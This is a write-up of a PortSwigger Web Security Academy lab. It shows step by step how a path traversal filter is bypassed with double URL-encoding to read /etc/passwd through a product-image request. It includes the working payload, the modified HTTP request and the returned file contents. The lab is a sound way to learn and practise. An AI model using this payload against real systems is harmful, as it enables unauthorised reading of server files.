PortSwigger

Lab Description
This lab contains a path traversal vulnerability in the display of product images. The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it. . Objective: Retrieve the contents of the
/etc/passwdfile.
The vulnerability:
- The application blocks
../sequences first - Then it URL-decodes the input
- This order allows bypassing with double URL-encoding
The attack:
- Input:
..%252f..%252f..%252fetc/passwd - The application checks for
../⇒ None found (it sees%252finstead of/) - The application URL-decodes the input ⇒
../appears after the check - The path becomes
../../../etc/passwd
Step 1: Capture the Image Request
- In Burp’s browser, access the lab
- Browse to a product page
- Find an image request in Burp Proxy
Example request:
GET /image?filename=product1.jpg HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Step 2: Send to Repeater
Right-click the request ⇒ Send to Repeater
Step 3: Modify the Filename
Original:
GET /image?filename=product1.jpg HTTP/1.1
Modified (double URL-encoded):
GET /image?filename=..%252f..%252f..%252fetc/passwd HTTP/1.1
Step 4: Send the Request
- Click Send in Repeater
- Observe the response
Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Step 5: Lab Solved
